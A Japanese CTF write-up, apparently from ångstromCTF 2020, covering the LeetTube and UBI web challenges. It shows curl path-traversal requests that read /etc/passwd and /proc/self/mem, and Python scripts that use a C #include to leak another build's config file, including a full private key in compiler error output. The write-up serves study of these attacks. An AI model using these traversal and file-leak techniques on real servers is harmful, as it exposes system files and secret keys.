$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
app:x:1000:1000::/home/app:/bin/bash

おー、取れました!バイパス成功です!これで任意のpath,filenameが既知のファイルを取得できるようになりました。

ここでプログラムから、videoのリストはメモリ上にロードされていることがわかります。ファイルにアクセスしようとすると、unpublishedなファイルについては権限が削除されているので出来ません。この状況から、ロードされているはずのメモリを覗くという発想に至るらしい…。もしここまで出来てたとしても絶対思いつかなかったなぁ。面白い。
Linuxでは、/proc/[pid]/memファイルに、プロセスと同じ方法でマップされた$pidのメモリの内容が表示されます。

proc(5) - Linux manual page

このコマンドはそのまま叩いてもダメで、オフセット情報が必要になります。詳しくは下記のQAにありました。

How do I read from/ proc/$ pid/mem under Linux?

オフセットなし(0)だと、プロセスの最初のページはマップされないため、常にI/Oエラーが発生してしまうらしい。通りで何も返ってこないわけだ。各プロセスのマップを取得するには、

/proc/[pid]/mapsを見れば良い。

address           perms offset  dev   inode       pathname
00400000-00452000 r-xp 00000000 08:02 173521      /usr/bin/dbus-daemon
00651000-00652000 r--p 00051000 08:02 173521      /usr/bin/dbus-daemon
00652000-00655000 rw-p 00052000 08:02 173521      /usr/bin/dbus-daemon
00e03000-00e24000 rw-p 00000000 00:00 0           [heap]
00e24000-011f7000 rw-p 00000000 00:00 0           [heap]

のようなフォーマットです。早速取得してみます。

$ curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/maps'
56279dc8b000-56279dc8c000 r--p 00000000 ca:01 9231839                    /usr/local/bin/python3
56279dc8c000-56279dc8d000 r-xp 00001000 ca:01 9231839                    /usr/local/bin/python3
56279dc8d000-56279dc8e000 r--p 00002000 ca:01 9231839                    /usr/local/bin/python3
56279dc8e000-56279dc8f000 r--p 00002000 ca:01 9231839                    /usr/local/bin/python3
56279dc8f000-56279dc90000 rw-p 00003000 ca:01 9231839                    /usr/local/bin/python3
56279ee86000-56279f45c000 rw-p 00000000 00:00 0                          [heap]
7f3f34d9a000-7f3f34d9e000 r--p 00000000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34d9e000-7f3f34dab000 r-xp 00004000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34dab000-7f3f34daf000 r--p 00011000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34daf000-7f3f34db0000 ---p 00015000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34db0000-7f3f34db1000 r--p 00015000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34db1000-7f3f34db2000 rw-p 00016000 ca:01 7173367                    /lib/x86_64-linux-gnu/libresolv-2.28.so
7f3f34db2000-7f3f34db4000 rw-p 00000000 00:00 0 
7f3f34db4000-7f3f34db5000 r--p 00000000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34db5000-7f3f34db9000 r-xp 00001000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34db9000-7f3f34dba000 r--p 00005000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34dba000-7f3f34dbb000 r--p 00005000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34dbb000-7f3f34dbc000 rw-p 00006000 ca:01 7173346                    /lib/x86_64-linux-gnu/libnss_dns-2.28.so
7f3f34dbc000-7f3f34dbe000 r--p 00000000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34dbe000-7f3f34dc1000 r-xp 00002000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34dc1000-7f3f34e42000 r--p 00005000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34e42000-7f3f34e43000 ---p 00086000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34e43000-7f3f34e44000 r--p 00086000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34e44000-7f3f34e55000 rw-p 00087000 ca:01 9232386                    /usr/local/lib/python3.1/lib-dynload/unicodedata.so
7f3f34e55000-7f3f35716000 rw-p 00000000 00:00 0 
7f3f35716000-7f3f35718000 r--p 00000000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f35718000-7f3f3571a000 r-xp 00002000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f3571a000-7f3f3571b000 r--p 00004000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f3571b000-7f3f3571c000 r--p 00004000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f3571c000-7f3f3571e000 rw-p 00005000 ca:01 9232381                    /usr/local/lib/python3.1/lib-dynload/select.so
7f3f3571e000-7f3f35721000 r--p 00000000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f35721000-7f3f35728000 r-xp 00003000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f35728000-7f3f3572b000 r--p 0000a000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f3572b000-7f3f3572c000 r--p 0000c000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f3572c000-7f3f35730000 rw-p 0000d000 ca:01 9232361                    /usr/local/lib/python3.1/lib-dynload/_socket.so
7f3f35730000-7f3f35731000 r--p 00000000 ca:01 9232360                    /usr/local/lib/python3.1/lib-dynload/_random.so

この中の、pathnameが不明な領域のaddressを指定して、/proc/self/memを実行し、メモリを取ってきてみます。
範囲の指定は、HTTP range requests - HTTP | MDN のように、サーバー側が range request に対応している場合は、HeaderにRange: bytes=[start]-[end]みたいに指定できるそうなので、これを試してみます。

curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/mem' -H 'Range: bytes 94728169742336-94728175861760' > data1
curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/mem' -H 'Range: bytes 139909446443008-139909446451200' > data2
curl --path-as-is 'https://leettube.2020.chall.actf.co/videos/../?hoge/../../proc/self/mem' -H 'Range: bytes 139909447110656-139909456289792' > data3

何かしらデータが降ってきました👍
それぞれのデータをバイナリエディタで開き、mp4のマジックナンバーがあるかをチェックしていきます。すると、7f3f34e55000-7f3f35716000(139909447110656-139909456289792)の領域に、マジックナンバー00 00 00 20 66 74 79 70 69 73 6F 6D 00 00 02 00` がありました!!

f:id:kusuwada:20200405111512p:plain

マジックナンバーまとめはここが見やすい。マジックナンバーまとめ - Qiita

これをマジックナンバーが先頭になるようにカットし、output.mp4などと名前を付けて保存すると、再生できる動画ファイルになります。
動画を再生してみると、flagが出てきました。

f:id:kusuwada:20200405111543p:plain

全然知らない知識が必要な問題だった。面白い!

[Web] UBI

I made a new universal build integrator, and there's already a flags site using it! It all seems pretty secure to me...

Here's the source code.

universal build integratorhttps://ubi.2020.chall.actf.co/に飛ばされて、下記のようなテキストが出てきます。

Welcome to the Universal Build Integrator!

__/\\\________/\\\__/\\\\\\\\\\\\\____/\\\\\\\\\\\_        
 _\/\\\_______\/\\\_\/\\\/////////\\\_\/////\\\///__       
  _\/\\\_______\/\\\_\/\\\_______\/\\\_____\/\\\_____      
   _\/\\\_______\/\\\_\/\\\\\\\\\\\\\\______\/\\\_____     
    _\/\\\_______\/\\\_\/\\\/////////\\\_____\/\\\_____    
     _\/\\\_______\/\\\_\/\\\_______\/\\\_____\/\\\_____   
      _\//\\\______/\\\__\/\\\_______\/\\\_____\/\\\_____  
       __\///\\\\\\\\\/___\/\\\\\\\\\\\\\/___/\\\\\\\\\\\_ 
        ____\/////////_____\/////////////____\///////////__

Never again suffer at the hands of the bourgeoisie. The UBI brings the power of building to the people.

Source:

from flask import Flask, request, jsonify

from Crypto.Cipher import PKCS1_OAEP
from Crypto.Hash import SHA256
from Crypto.PublicKey import RSA

import subprocess
import hashlib
import os
import json
import random

allowed_headers = ('content-type', 'content-disposition', 'x-ubi-src')
def verify_headers(headers, signature, key, build):
    if set(headers) - set(allowed_headers): return None
    key = RSA.import_key(key)
    headers = '\n'.join(header+': '+headers[header] for header in sorted(headers.keys()))+f"\nx-ubi-id: {build}\nx-ubi-key: {SHA256.new(key.export_key('PEM', pkcs=8)+bytes([10])).hexdigest()}"
    h = SHA256.new(headers.encode('utf-8')).digest()
    if PKCS1_OAEP.new(key).decrypt(bytes.fromhex(signature)) != h: return None
    return {h.split(': ')[0]: h.split(': ')[1] for h in headers.split("\n")}

app = Flask(__name__)

@app.route('/build', methods=['POST'])
def build():
    if len(request.form['src']) > 500000: return jsonify({'status': 'error'})
    i = hex(random.randrange(2**64))[2:].zfill(16)
    os.mkdir('build/'+i)
    f = open('build/'+i+'/config.json', 'w')
    json.dump({'referer': request.form.get('referer'), 'key': request.form.get('key')}, f)
    f = open('build/'+i+'/source.c', 'w')
    f.write(request.form['src'])
    f.close()
    p = subprocess.run(['/usr/local/bin/timeout', '--no-info-on-success', '-m', '100000', '-t', '1', 'gcc', '-o', '/dev/stdout', 'build/'+i+'/source.c'], capture_output=True)
    if len(p.stderr) or len(p.stdout) > 500000: return jsonify({'status': 'error', 'message': p.stderr.decode('utf-8')}), 400
    f = open('build/'+i+'/a.out', 'wb')
    f.write(p.stdout)
    f.close()
    return jsonify({'status': 'success', 'id': i})

@app.route('/<i>/<name>')
def executable(i, name):
    try:
        sig = '' 
        headers = {}
        for arg in request.args:
            if arg == 'sig':
                sig = request.args[arg]
                continue
            headers[arg] = request.args[arg]
        config = json.load(open('build/'+i+'/config.json'))
        if request.headers.get('referer') != config['referer']: return jsonify({'status': 'error', 'message': 'invalid referer'}), 400
        headers = verify_headers(headers, sig, config['key'], i)
        if not headers: return jsonify({'status': 'error', 'message': 'invalid signature'}), 400
        return open('build/'+i+'/a.out', 'rb').read() if not headers.get('x-ubi-src') else open('build/'+i+'/source.c').read(), headers
    except:
        return jsonify({'status': 'error'}), 400

@app.route('/')
def index():
    return f"""<pre>
Welcome to the Universal Build Integrator!

__/\\\\\\________/\\\\\\__/\\\\\\\\\\\\\\\\\\\\\\\\\\____/\\\\\\\\\\\\\\\\\\\\\\_        
 _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\/////////\\\\\\_\\/////\\\\\\///__       
  _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\_______\\/\\\\\\_____\\/\\\\\\_____      
   _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\\\\\\\\\\\\\\\\\\\\\\\______\\/\\\\\\_____     
    _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\/////////\\\\\\_____\\/\\\\\\_____    
     _\\/\\\\\\_______\\/\\\\\\_\\/\\\\\\_______\\/\\\\\\_____\\/\\\\\\_____   
      _\\//\\\\\\______/\\\\\\__\\/\\\\\\_______\\/\\\\\\_____\\/\\\\\\_____  
       __\\///\\\\\\\\\\\\\\\\\\/___\\/\\\\\\\\\\\\\\\\\\\\\\\\\\/___/\\\\\\\\\\\\\\\\\\\\\\_ 
        ____\\/////////_____\\/////////////____\\///////////__

Never again suffer at the hands of the bourgeoisie. The UBI brings the power of building to the people.

Source:

{open(__file__).read().replace("<", "<").replace(">", ">")}
</pre>"""

if __name__ == "__main__":
    app.run('0.0.0.0', 5000)

flag siteのサイトはこんな感じ。

f:id:kusuwada:20200405111713p:plain

いくつかのCTFのタイトルとDownload Flagボタンが並んでいます。
配布されたソースコードはこちら。

var express = require('express')
var cookieParser = require('cookie-parser')
var bodyParser = require('body-parser')
var app = express()
app.use(cookieParser())
app.use(bodyParser.urlencoded({ extended: false }))

var crypto = require('crypto')
var querystring = require('querystring')
var url = require('url')
var bent = require('bent')

var { publicKey, privateKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 2048,    
        publicKeyEncoding: {
        type: 'spki',
        format: 'pem'
    },   
    privateKeyEncoding: {
        type: 'pkcs8',
        format: 'pem'
    } 
})
var flags = [
    {name: 'picoCTF', flag: 'picoCTF{who_stole_our_flags}'},
    {name: 'RedpwnCTF', flag: 'guessCTF{cOoKiE_ReCiPiEs}'},
    {name: 'HSCTF', flag: 'hsctf{hacked_by_REDPWN}'},
    {name: 'ångstromCTF', flag: process.env.FLAG, hidden: true}
]
var src = "#include \"stdio.h\"\nint main() { puts(\"FLAG\"); }"
var headers = {'content-type': 'application/octet-stream', 'content-disposition': 'attachment'}
var headersToSign = Object.keys(headers).sort().map(h => h+': '+headers[h]).join('\n')
var keyId = crypto.createHash('sha256').update(privateKey).digest('hex')
async function buildFlags() {
    for (var i = 0; i < flags.length; i++) {
        var res = await bent('POST', 'json')(process.env.UBI+'/build', Buffer.from(`referer=${process.env.URL}/&src=${encodeURIComponent(src.replace("FLAG", flags[i].flag))}&key=${encodeURIComponent(privateKey)}`), {'content-type': 'application/x-www-form-urlencoded'})
        var sig = crypto.publicEncrypt(publicKey, crypto.createHash('sha256').update(headersToSign+`\nx-ubi-id: ${res.id}\nx-ubi-key: ${keyId}`).digest()).toString('hex')
        flags[i].url = process.env.URL+'/download/'+res.id+'/flag?'+querystring.stringify(headers)+'&sig='+sig
    }
}
buildFlags()

app.use(function (req, res, next) {
    res.set({'content-security-policy': 'script-src \'none\';'})
    next()
})

app.get('/', function (req, res) {
    res.send(`<!DOCTYPE html>
<html>
    <head>
        <title>Flags</title>
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="/style.css">
    </head>
    <body>
        <section class="section">
            <div class="container">
                <div class="tile is-ancestor is-vertical">
                    <div class="tile is-parent"><div class="tile is-child">
                        <h1 class="title is-1">Flags</h1>
                        <form method="POST" action="/submit">
                            <div class="field"><p>Are we missing a flag you think we should have? Send us a link and an admin will check it out!</p></div>
                            <div class="field"><div class="control">
                                <input class="input" type="text" name="url" placeholder="Flag URL">
                            </div></div>
                            <div class="field"><div class="control">
                                <button class="button" type="submit">Submit</button>
                            </div></div>
                        </form>
                    </div></div>
                    ${flags.map(flag => (!flag.hidden || req.cookies.admin === process.env.ADMIN) ? `<div class="tile is-parent"><div class="tile is-child box">
                        <p class="title">${flag.name}</p>
                        <p><a href="${flag.url}" class="button">Download Flag</a></p>
                    </div></div>` : '').join('')}
                </div>
            </div>
        </section>
    </body>
</html>`)
})

app.get('/style.css', function (req, res) {
    res.sendFile(__dirname+'/style.css')
})

app.get('/download/:file(*)', function (req, res) {
    var proxyHeaders = req.headers
    delete proxyHeaders.host
    bent(process.env.UBI, 200, 400, proxyHeaders)('/'+req.params.file+'?'+url.parse(req.url).query).then(function (response) {
        if (response.headers['x-ubi-key'] !== keyId) return res.status(404).end()
        res.status(response.statusCode)
        for (var h in response.headers) {
            if (!res.get(h)) res.set(h, response.headers[h])
        }
        response.on('data', function (chunk) {
            res.write(chunk)
        })
        response.on('close', function () {
            res.end()
        })
        response.on('end', function () {
            res.send()
        })
    }).catch(async function (error) {
        res.status(404).end()
    })
})

/* admin visitor */
var puppeteer = require('puppeteer')
app.post('/submit', async function (req, res) {
    try {
        if (!(req.body.url && (req.body.url.startsWith('http://') || req.body.url.startsWith('https://')))) return res.status(400).end()
        var browser = await puppeteer.launch({
            args: ['--no-sandbox']
        })
        var page = await browser.newPage()
        await page.setCookie({
            name: 'admin',
            value: process.env.ADMIN,
            url: process.env.URL,
            httpOnly: true
        })
        await page.goto(req.body.url, { waitUntil: 'networkidle0' })
        await new Promise(r => setTimeout(r, 10000));
        await page.close()
        await browser.close()
        res.redirect('/')
    } catch (e) {
        res.status(500).end()
    }
})

app.listen(5001)

index.jsで使用しているcss, style.cssを覗いてみたんですけど、凄い文字数…。約20万文字ですよ!オンラインのcss整形サイトで整形してもらったところ、行数1万行超え!css injectionみたいなのもやったことない初心者としては、もしこれを攻撃に使うのだとしても、この膨大なテキストの中から取っ掛かりを見つけ出すのは不可能と判断し、撤退。

長いなー。。。(ここで競技中のメモは終わっている)

ここから復習

とりあえず押せるボタンは押してみます。各CTFのDownload Flagボタンを押すと、それぞれflagという名前の実行ファイルが降ってきました。
それぞれのファイルに対して、strings xxx | grep { などとフラグフォーマットの文字列を探してみると、

  • picoCTF: picoCTF{who_stole_our_flags}
  • RedpwnCTF: guessCTF{cOoKiE_ReCiPiEs}
  • HSCTF: hsctf{hacked_by_REDPWN}

何やらメッセージのような、そうでもないような…。ってindex.jsに書いてありました。index.jsを見てみると、ångstromCTFにもflagが用意されているようです。buildFlags関数で処理されていますが、hidden: trueになっているので、ångstromCTFのぶんだけ表示されません。

download urlの作り方はbuildFlags()関数にありますが、pathの途中にランダムっぽいid番号があり、更に末尾に長ーいsignetureが付いています。picoCTFのflag urlはこんな感じ。

https://flags.2020.chall.actf.co/download/24e9190b45d3f2c9/flag?content-type=application%2Foctet-stream&content-disposition=attachment&sig=720892f80721b33a983602266674ff73f4d62afa4a57151ac359a8bec3715e481694f0bc56fa4780b11b628924dba354b236c87329153e6421805ad2747af6a00893a2dd4d1a8005cd1b407d2d85b2705d260a3dca6a9525f3e1f1516b7c85b5a72fd5cdf4743750b247de5de0e14e52fc76f2755d018551b18f9a1774170ea4813136254da131b76d4829d41acbf67785446bc8522db0d4b60374d683daac3da6fd9e80c4d4c5d671b6fb302dc43434fd2f51c4571223e8ba0b2be1edcdcc68d3bb62c374906415835414fd3c83ce32cd043edf2ba0156546e143c7128fc8ba1c8fb45c07bb9c56a1b2df3143c7664903ca030f1ea7d9d14e2a4a85a2134ea9

このbuildFlags()関数の中で、universal build integratorAPIをコールし、FlagのダウンロードURLに使用する変数(主にid)を生成しているようです。

これのångstromCTF版URLを再現できればflagが取れそう。※1

また、ページ最上部のフォームは、リンクを送りつけるとadminが見に行ってくれるみたいです。index.js/* admin visitor */のコメントの下に処理が書いてあります。cookieprocess.env.ADMINの値を埋め込んでいるようです。

index.jsのL72

${flags.map(flag => (!flag.hidden || req.cookies.admin === process.env.ADMIN) ? `<div class="tile is-parent"><div class="tile is-child box">

より、ADMMINのcookieを持ってサイトを表示させると、ångstromCTFのflagのダウンロードボタンも表示されそう。※2

さっきの、Download URLを構築する方針(1)と、adminのcookieを入手する方針(2)の2つがぱっと思いつきます。(2)のほうは Xmas Still Stands のようにXSSが仕掛けられないかと思いましたが、確認する方法もないので厳しい。どうやるんだろう?

あとは、cssを取得するだけのAPIが用意されているのも気になります。

app.get('/style.css', function (req, res) {
    res.sendFile(__dirname+'/style.css')
})

🤔

もうちょっと丁寧に全体を見てみます。
ざっくり、処理をソースコードから追ってみます。

index.jsが実行されると、buildFlags()関数が実行され、用意されているflags

が行われます。このid生成とソースコードのビルドは、universal build integratorの中で行われます。
universal build integratorでは、

build
├── {id_pico} (16桁のhex)
│   ├── config.json (requestから取得した、refere と key)
│   ├── source.c (requestから取得)
│   └── a.out
├── {id_Redpwn} (16桁のhex)
│   ├── config.json (requestから取得した、refere と key)
│   ├── source.c (requestから取得)
│   └── a.out
├── {id_HS} (16桁のhex)
│   ├── config.json (requestから取得した、refere と key)
│   ├── source.c (requestから取得)
│   └── a.out
└── {id_ångstrom} (16桁のhex)
    ├── config.json (requestから取得した、refere と key)
    ├── source.c (requestから取得)
    └── a.out

こんなフォルダ構造になっており、requestに詰めたソースコードをbuildしてくれます。buildに失敗したらErrorを返し、成功したらidを返却します。
渡したソースコードをbuildしてくれるらしいので、とても怪しい。

もう一つのAPI、GET methodの/<i>/<name>では、

  • refere(Headerから取得) が 上記のpathにあるものと一致しているか
  • シグネチャとkeyが正しいか

を検証し、正しくない場合は status:400 のエラーを返却、正しい場合はa.outsource.cと1番目と2番目のHeaderを返却します。返却するコンテンツはx-ubi-srcヘッダの内容で出し分けているようです。Headerはsorted(headers.keys())でソートされます。

気になった点は、任意のコードを/buildAPIで実行させることができること。あとは、このbuildAPIbuild/{id}/config.jsonreferekeyが書き出されたまま保存されていること。
このrefereindex.jsprocess.env.URLで固定、keyindex.jsが実行されるたびに生成される(privateKey)ものの、/buildAPIの呼び出しごとに変わるものではないようです。

/buildAPIの返却値は、成功したときはidのみですが、失敗するとmessagestderrを詰めて返してくれます。これを利用して、共通で使われているprivateKeyを取得できないでしょうか。

上記、/buildの際に実行されるディレクトリ構成を参考に、もう一つ新しく何かをbuildしてみてもらいます。エラーが返るようなソースコードを実行してみてもらいましょう。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

ubi_uri = 'https://ubi.2020.chall.actf.co'
flags_uri = 'https://flags.2020.chall.actf.co'

test_data = {'refere':flags_uri,
             'src':"#include \"stdio.h\"\nint main() { puts(i); }",
             'key':'test'}
test_header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_uri + '/build', data=test_data, headers=test_header)

print(res.text)

実行結果

$ python solve.py 
{"message":"build/3fe600bf641b8fa8/source.c: In function \u2018main\u2019:\nbuild/3fe600bf641b8fa8/source.c:2:19: error: \u2018i\u2019 undeclared (first use in this function)\n int main() { puts(i); }\n                   ^\nbuild/3fe600bf641b8fa8/source.c:2:19: note: each undeclared identifier is reported only once for each function it appears in\n","status":"error"}

いきなりソース中にiを未定義で使ったので怒られています。
では、他のidがわかっているbuild結果のconfig.jsonを覗いて、keyの取得を試みます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

ubi_uri = 'https://ubi.2020.chall.actf.co'
flags_uri = 'https://flags.2020.chall.actf.co'

test_data = {'refere':flags_uri,
             'src':"#include \"stdio.h\"\nint main(){ FILE *fp;\nchar str[100];\nfp=fopen(\"../config.json\", \"r\");\nprintf(\"%s\",fgets(str,100,fp));\nfclose(fp); }",
             'key':'test'}
test_header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_uri + '/build', data=test_data, headers=test_header)

print(res.text)

実行結果

$ python solve.py 
{"id":"d4b3afb815b3aaa0","status":"success"}

あー、やっぱ成功してしまってはstatusとidしか返らない。config.jsonが読めていない場合はエラーが返るはずなので、config.jsonにはリーチできている様子。

手っ取り早く、config.jsonの内容をエラーに出力させるには、ソースじゃないこのファイルをincludeしちゃうのが良いみたい。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import requests

ubi_uri = 'https://ubi.2020.chall.actf.co'
flags_uri = 'https://flags.2020.chall.actf.co'

test_data = {'refere':flags_uri,
             'src':"#include \"../24e9190b45d3f2c9/config.json\"\nint main(){ puts(\"Hello!\"); }",
             'key':'test'}
test_header = {'content-type': 'application/x-www-form-urlencoded'}
res = requests.post(ubi_uri + '/build', data=test_data, headers=test_header)

print(res.text)

実行結果

$ python solve.py 
{"message":"In file included from build/3ddbc1fc8615a8a5/source.c:1:\nbuild/3ddbc1fc8615a8a5/../24e9190b45d3f2c9/config.json:1:1: error: expected identifier or \u2018(\u2019 before \u2018{\u2019 token\n {\"referer\": \"https://flags.2020.chall.actf.co/\", \"key\": \"-----BEGIN PRIVATE KEY-----\\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDWhcALIgsMl/Dq\\nfqdwrYv7gU07dX/R0aW6St9tGRK0mW7qH3VXMKig2IdkvJTb2Hou9Ov26BN+fWJJ\\nqpWlvYodMa0jOEoGBQaPbQfb5VItAZhi/ZtFVGilVniF/8QGtTb63GuOBWP2ZnKA\\nBmv4clkFkD7Immsf2YRRW8VLioiopV4WOFfrcDPTYz8HEz+FuzaekzqgzQKSxUuL\\nVNFBhhsjlN7JNp1e1vLoX3fYexVZRoliyjFn3OPHarBHYof8/tHz8Ujit0BE53DS\\noaMBJryhqyrU9WvC4H07cq9/8z3cT7mhREkc2+pmXf1XtSghEmdCG1bt66PZwuFg\\ndVF7oVwNAgMBAAECggEBAJtSTgEBjhR5MqLmPx+zWCYqsZu6cGifranbqjeYrtV6\\nPjdfvZr6jS2geS9z5yfiblzvUqX71JmB+RczXpSZTpXisOROTjJbkytnmwgY2s3h\\nWM9bpf+lpPsJR8xlqi3dKUirLWiv+HegJ4kQnT5OtKv1i6+9NpDh8g7iLlCKpnXL\\nqXoWjDHxABarU4r5iUqxKta/QNQt747f3Mwd+CdRZ1TH4KpW9e5CvaSHEbJsf7qg\\nQmHqrCUYAUOyVa0btxiNgQ364mx7LSm6mIvqVxA9LlIMcDvl+qkO9wmKDw1cGjP8\\nfmqEwbmEsLDGoiaRX36YKLeRCzxPLdGBt3aOTeKLedUCgYEA/nKAgyac8yHNo58S\\nTQveE55ZGgm7y0z2gAvpIiPpYz+cFVG3BeC5jfm9xpewNPrFcEy0gtVWQ1KZ9mQ1\\nnpEtKHPXzxjjqdA82uPHkQpf8mcmlhTBlKL1AM1pVoe3MorOh2IGLTBQudRINojX\\niaqu6yQvUTbDaziCNJ/HciEP6QcCgYEA19Tgp2N3HFU5eCzPFFLCEoT+On1GW8QI\\ng0ekgM2YaNopmrIuqMm2PdweDV7oEtVr+1To3XC5o+1LS0PfvtYwkuG73qAFw3TN\\ncmoqtx/kC1LqYkiltHuh1Rxa6BOC0vd6ss+Nt4rb4HZsRpEgoALRZXLK6Jzao83V\\nmCA+Jk4EcUsCgYBTE+Ot7q+UGtdfsxJwoY1S7oK9I6xzRp+9UyY9hWgwhZZax6Fw\\ng91R49b4vpJD2hUZA5J0nV9a/99ROYrgSRpreNdfwQqkaV9VQMXqL28AYHmSyxgh\\nhctlBax9GjbQg83HGlRV8M6KvisN00Q8qMQP9nKUm8LWgU7SC9E9DFp7hQKBgFxG\\nPAH0iXEIkrhpV+NVenmWeGajNph3GDigQZl7zMRPOWhU85PgIVUTLZoD0G505mSe\\nqaw6zHNkOUOlchxR0JSLg9mrSquE3W0kLLz8GnAo8+IvMwEVtlu5crgz10PA4Klg\\nCTPGXzj5CFOnKm6epc2cpVmL7gIIN2CBsHCJ/GY/AoGBAKhxtlzrMJOZvknEiF20\\nliHXmaMSfXKrjQpU1vljJy+5F4EFdxpSqdWuSsQGTx/T41AJaM130qNG/WxzyjAN\\n5vdNOgOzd8bt6RWMKbcQeDAjuRqPfxdSnx19l7508ATEv/zHz+bDDvqWc/38AWE5\\n3m60GanVC38kbc8STt0MpBOA\\n-----END PRIVATE KEY-----\\n\"}\n ^\nbuild/3ddbc1fc8615a8a5/source.c: In function \u2018main\u2019:\nbuild/3ddbc1fc8615a8a5/source.c:2:13: warning: implicit declaration of function \u2018puts\u2019 [-Wimplicit-function-declaration]\n int main(){ puts(\"Hello!\"); }\n             ^~~~\n","status":"error"}

おー!ファイルの内容が全部抜けました。privatekeyも!

後この検証中に気づいたこと

  • buildに失敗してエラーになっても、エラーメッセージにpathが含まれているのでidが取得できる
  • buildに失敗した場合でも、idさえわかればダウンロードURLを作成できる
  • buildに失敗しているのでa.outは取得できないが、x-ubi-srcヘッダを設定することでsource.cは取得できる

うーん、これもとても怪しい。実質任意のファイルをsource.cという名前でアップロード・ダウンロードできることになる。

ここから先、どこに進めばよいのか全くわからなくなったので、とりあえずフォームにurlを入れたら本当にadminが見に来てくれるのかを確認してみました。
自分で用意したエンドポイントを入れ、誰かアクセスしに来るか待ってみます。

https://{用意したエンドポイント} -> submit

お、誰かやってきました!Request Headerを見てみましょう。

{
  "upgrade-insecure-requests": "1",
  "user-agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/80.0.3987.0 Safari/537.36",
  "sec-fetch-dest": "document",
  "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  "sec-fetch-site": "none",
  "sec-fetch-mode": "navigate",
  "sec-fetch-user": "?1",
  "accept-encoding": "gzip, deflate, br",
  "accept-language": "en-US"
}

ちゃんと見に来てくれることは確認できました。この機能は使いそう。更にAdminのcookie情報を抜き出したいんだけど、その方法は思いつかず。

  • publickeyが手に入った
  • adminが自分の用意したエンドポイントにアクセスしてくれる
  • 任意のファイルをアップロード・ダウンロードできそう

ここまでやったものの、先の手が全くわからなかったのでwriteup探してみました。…が、公式のwriteup(ソースコードのみ)しか見つからず。

公式writeup

更に、Discordでヒントになりそうなワードが飛び交っていたのでピックアップしておきました。

appcache が css injection で chrome-specific な nday の bug で crypto 要素があるんやな🤔?
なんだかとても困難な道程になりそうだ。

@graneedさんのtweetより。

あ、ちょっとわかりやすい気がする。けど、ぜんぜんわからん。これらのコメントと公式解法のソースを頼りに進めていきます。

まずは肝になりそうなAppCache(Application Cache)について、明るくないので基本から調べてみました。

